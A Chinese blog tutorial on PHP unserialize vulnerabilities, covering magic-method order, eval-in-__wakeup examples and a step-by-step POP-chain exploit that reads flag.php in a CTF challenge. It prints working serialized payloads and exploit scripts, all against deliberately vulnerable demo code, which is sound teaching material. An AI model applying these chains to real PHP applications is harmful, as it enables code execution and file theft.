代码编织梦想

一、魔术方法

1、列举

__wakeup() //使用unserialize时触发

__sleep()//使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic()//在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset()//在不可访问的属性上调用isset()或empty()触发

__unset()//在不可访问的属性上使用unset()时触发

__toString()//把类当作字符串使用时触发

__invoke()//当脚本尝试将对象调用为函数时触发

2、执行顺序

new了一个对象,对象被执行,执行_construct

construct run

serialize了对一个对象,对象被序列化,先执行_sleep,再序列化

sleep run

unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行 _wakeup

把Test这个对象当做字符串使用了,执行_toString

toString run

程序执行完毕,对象自动销毁,执行_destruct

destruct rundestruct run

二、魔术方法的具体应用

class A{

private $name = "xxx";

function __construct()

{

echo "__construct() call\n";

}

function __destruct()

{

echo "\n__destruct() call\n";

}

function __toString()

{

return "__toString() call\n";

}

function __sleep()

{

echo "__sleep() call\n";

return array("name");

}

function __wakeup()

{

echo "__wakeup() call\n";

}

function __get($a)

{

echo "__get() call\n";

return $this->name;

}

function __set($property, $value)

{ echo "\n__set() call\n";

$this->$property = $value;

}

function __invoke()

{

echo "__invoke() call\n";

}

}

//调用 __construct()

$a = new A();

//调用 __toSting()

echo $a;

//调用 __sleep()

$b = serialize($a);

//调用 __wakeup()

$c = unserialize($b);

//调用 __get()

echo $a->bbbb;

//调用 __set()

$a->name = "pro";//name属性是私有的无法直接访问

//调用 __invoke()

$a();

//调用 __destruct() (会调用两次__destruct,因为中间有一次反序列化)

ba2e6f5be1b5

image.png

补充:

可以看到最后调用两次__destruct()魔术方法,第一个是new一个对象后,在序列化后,该对象结束调用 __destruct()魔术方法 ,之后又进行了一次反序列化重新变为对象,直到最后程序结束,对象消失,再调用一次__destruct()魔术方法 。

遇到反序列化构造POP链的问题,可以配置Xdebug进行断点调试。

三、例子

1、

class A{

var $test = "demo";

function __wakeup(){

echo $this->test;

}

}

$a = $_GET['test'];

$a_unser = unserialize($a);

?>

分析:这里只有一个A类,只有一个__wakeup()方法,并且一旦反序列化会走魔法方法__wakeup并且输出test,那我们就将A类序列化输出

POC:

class A{

var $test = "demo";

function __wakeup(){

echo $this->test;

}

}

$a = $_GET['test'];

$a_unser = unserialize($a);

$b = new A();

$c = serialize($b);

echo $c;

?>

ba2e6f5be1b5

image.png

这样就算触发 成功

2、

如果__wakeup中不是echo $this->test;,是eval(*)那么就是任意代码执行危害巨大

class A{

var $test = "demo";

function __wakeup(){

eval($this->test);

}

}

$a = $_GET['test'];

$a_unser = unserialize($a);

?>

原来的poc改一下,就可以

?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

如下

ba2e6f5be1b5

image.png

3、

当漏洞/危险代码存在在类的普通方法中

class maniac{

public $test;

function __construct(){

$this->test =new x1();

}

function __destruct(){

$this->test->action();

}

}

class x1{

function action(){

echo "x1";

}

}

class x2{

public $test2;

function action(){

eval($this->test2);

}

}

$class2 = new maniac();

unserialize($_GET['test']);

?>

分析:通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct(),所以他会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中

POC:

class maniac{

public $test;

function __construct(){

$this->test = new x2();

}

}

class x2{

public $test2="phpinfo();";

}

$class1 = new maniac();

print_r(serialize($class1))

?>

如下

ba2e6f5be1b5

image.png

四、题目

//flag is in flag.php

error_reporting(1);

class Read {

public $var;

public function file_get($value)

{

$text = base64_encode(file_get_contents($value));

return $text;

}

public function __invoke(){

$content = $this->file_get($this->var);

echo $content;

}

}

class Show

{

public $source;

public $str;

public function __construct($file='index.php')

{

$this->source = $file;

echo $this->source.'Welcome'."
";

}

public function __toString()

{

return $this->str['str']->source;

}

public function _show()

{

if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {

die('hacker');

} else {

highlight_file($this->source);

}

}

public function __wakeup()

{

if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {

echo "hacker";

$this->source = "index.php";

}

}

}

class Test

{

public $p;

public function __construct()

{

$this->p = array();

}

public function __get($key)

{

$function = $this->p;

return $function();

}

}

if(isset($_GET['hello']))

{

unserialize($_GET['hello']);

}

else

{

$show = new Show('pop3.php');

$show->_show();

}

分析:

对于此题可以看到我们的目的是通过构造反序列化读取flag.php文件,

Read类有file_get_contents()函数,

Show类有highlight_file()函数可以读取文件。

接下来寻找目标点可以看到在最后几行有unserialize函数存在,该函数的执行同时会触发__wakeup魔术方法,而__wakeup魔术方法可以看到在Show类中。

1、__wakeup方法

public function __wakeup()

{

if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {

echo "hacker";

$this->source = "index.php";

}

}

存在一个正则匹配函数preg_match(),该函数第二个参数应为字符串,这里把source当作字符串进行的匹配,这时若这个source是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在Show类中,那么我们一会构造exp时将source变成Show这个类的对象就会触发__tostring方法。

2、__tostring方法

public function __toString()

{

return $this->str['str']->source;

}

首先找到str这个数组,取出key值为str的value值赋给source,那么如果这个value值不存在的话就会触发__get魔术方法。再次通读全篇,看到Test类中存在__get魔术方法。

3、__get方法

public function __get($key)

{

$function = $this->p;

return $function();

}

发现先取Test类中的属性p给function变量,再通过return $function()把它当作函数执行,这里属性p可控。这样就会触发__invoke魔术方法,而__invoke魔术方法存在于Read类中。

4、__invoke方法

public function __invoke(){

$content = $this->file_get($this->var);

echo $content;

}

调用了该类中的file_get方法,形参是var属性值(这里我们可以控制),实参是value值,从而调用file_get_contents函数读取文件内容,所以只要将Read类中的var属性值赋值为flag.php即可。

5、exp思路

pop链

unserialize函数(变量可控)–>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–>触发Read类中的file_get方法–>触发file_get_contents函数读取flag.php

hello接收参数

class Show{

public $source;

public $str;

}

class Test{

public $p;

}

class Read{

public $var = "flag.php";

}

$s = new Show();

$t = new Test();

$r = new Read();

$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法

$s->str["str"] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。

$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发__tostring魔术方法。

var_dump(serialize($s));

?>

2016xctf一道ctf题目-爱代码爱编程

首先是index.php: <?php $user = $_GET["user"]; $file = $_GET["file"]; $pass = $_GET["pass"]; if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ e

从一道ctf题学习php反序列化漏洞_fly_鹏程万里的博客-爱代码爱编程

一、CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下。 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入目的,废话不多说,主要源码如下: class SoFun{ protected $file='index.php'; functi

ctf中的一道反序列化题_莫者的博客-爱代码爱编程

早就想写了,今天刚好遇到一道反序列化的题就记录一下 自己在本地搭的,源码如下: index1.php <?php error_reporting(E_ALL & ~E_NOTICE); $user = $_GET["user"]; $file = $_GET["file"]; $pass = $_GET["pass"]; if(is

由浅入深剖析序列化攻击(二)_systemino的博客-爱代码爱编程_序列化攻击

前言 之前写了一篇文章介绍序列化概念和两种常见攻击:1.魔法方法,2.session序列化引擎。 本篇文章继续深入,介绍另外方法:原生类序列化问题。 原生类同名函数 问题引入 什么是原生类同名函数攻击漏洞呢?我们不妨看如下代码: class UploadFile {     function upload($fakename, $content

ctf系列——反序列化漏洞_lesliecc96的博客-爱代码爱编程_反序列化ctf

题目 http://123.206.87.240:8006/test1/ 拿到题之后先看源码 you are not the number of bugku ! <!-- $user = $_GET

由浅入深剖析序列化攻击(三)_systemino的博客-爱代码爱编程

前言 接之前的两篇文章: https://www.4hou.com/web/17835.html https://www.4hou.com/web/17976.html 之前分别介绍了php序列化攻击的魔法方法、session序列化引擎以及原生类序列化问题。 本篇文章则主要从真实案例来看序列化的pop链构造。 typecho序列化 这一节就简

php反序列化总结(一)-爱代码爱编程

一、魔术方法 1、列举__wakeup() //使用unserialize时触发__sleep()//使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic()//在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__

php序列化与反序列化-爱代码爱编程

四个实例递进php反序列化漏洞理解 https://blog.csdn.net/nzjdsds/article/details/82703639?utm_medium=distribute.wap_relevant.none-task-blog-title-6 PHP反序列化由浅入深 https://xz.aliyun.com/t/3674#toc-1

java反序列化漏洞利用工具_PHP反序列化漏洞说明-爱代码爱编程

序列化 PHP程序为了保存和转储对象,提供了序列化的方法,序列化是为了在程序运行的过程中对对象进行转储而产生的。 序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。 PHP序列化的函数为serialize,反序列化的函数为unserialize. 举个栗子: <?php class Test{

php substr 去掉前n位_MRCTF V&N大一小分队writeup-爱代码爱编程

天璇的CTF平台地址:http://ctf.merak.codes/ Ethereum SimpleReveal 点那个合同号 https://ropsten.etherscan.io/tx/0x41879d535b36316269d30339de7129e7227366a6b41fc62fb18be6ea64e5dab

php反序列化注入,PHP反序列化由浅入深-爱代码爱编程

0x00 PHP序列化是什么 两个函数 serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象 通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。 示例 序列化 class te

php 反序列化漏洞,PHP反序列化漏洞详解-爱代码爱编程

最近和小伙伴们一起研究了下PHP反序列化漏洞,突发奇想,利用反序列化漏洞写一个一句话木马效果应该蛮不错的。本文主要和大家分享PHP反序列化漏洞详解,希望能帮助到大家。 0x01 PHP反序 说起PHP反序列化,那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输,比如跨脚本等。而PHP反序列化是将序列化之后

PHP反序列化由浅入深,由浅入深剖析序列化攻击(一)-爱代码爱编程

前言 近期因为内部培训有序列化的需求,于是趁此机会由浅入深的剖析一下序列化相关内容。 之前也写过由浅入深的xml漏洞系列,欢迎阅读: https://skysec.top/2018/08/17/浅析xml及其安全问题/ https://skysec.top/2018/08/18/浅析xml之xinclude-xslt/ 序列化的概念 简单概

PHP反序列化由浅入深,深度剖析PHP序列化和反序列化-爱代码爱编程

序列化 序列化格式 在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。 序列化函数原型如下: 先看下面的例子: 输出结果为: 所以序列化对于不同类型得到的字符串格式为: String : s:size:value; Integer : i:value; Boolean : b:value;(保存1或0)

PHP反序列化由浅入深,细说php反序列化字符逃逸-爱代码爱编程

原标题:细说php反序列化字符逃逸 11/5 文章共计4381个词 预计阅读10分钟 前言 php反序列化的字符逃逸算是比较难理解的一个知识点,在最近的好几场比赛中都出现了相关的题,于是下定决心彻底理解透彻这个知识点,于是便有了这篇文章。 基础知识理解 字符逃逸在理解之后就能够明白,这是一种闭合的思想,它类似SQL中的万能密码,理解这种原

PHP反序列化由浅入深,PHP反序列化-爱代码爱编程

PHP反序列化 魔术方法 1、__sleep() serialize()函数会检查类中是否存在一个魔术方法 __sleep()。 如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。 如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的

[MRCTF2020]Ezpop-爱代码爱编程

考查点:php反序列化链 目录 解题过程 一些函数的知识 代码审计 整体思路 构造payload 参考文章 解题过程 打开题目,代码审计 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz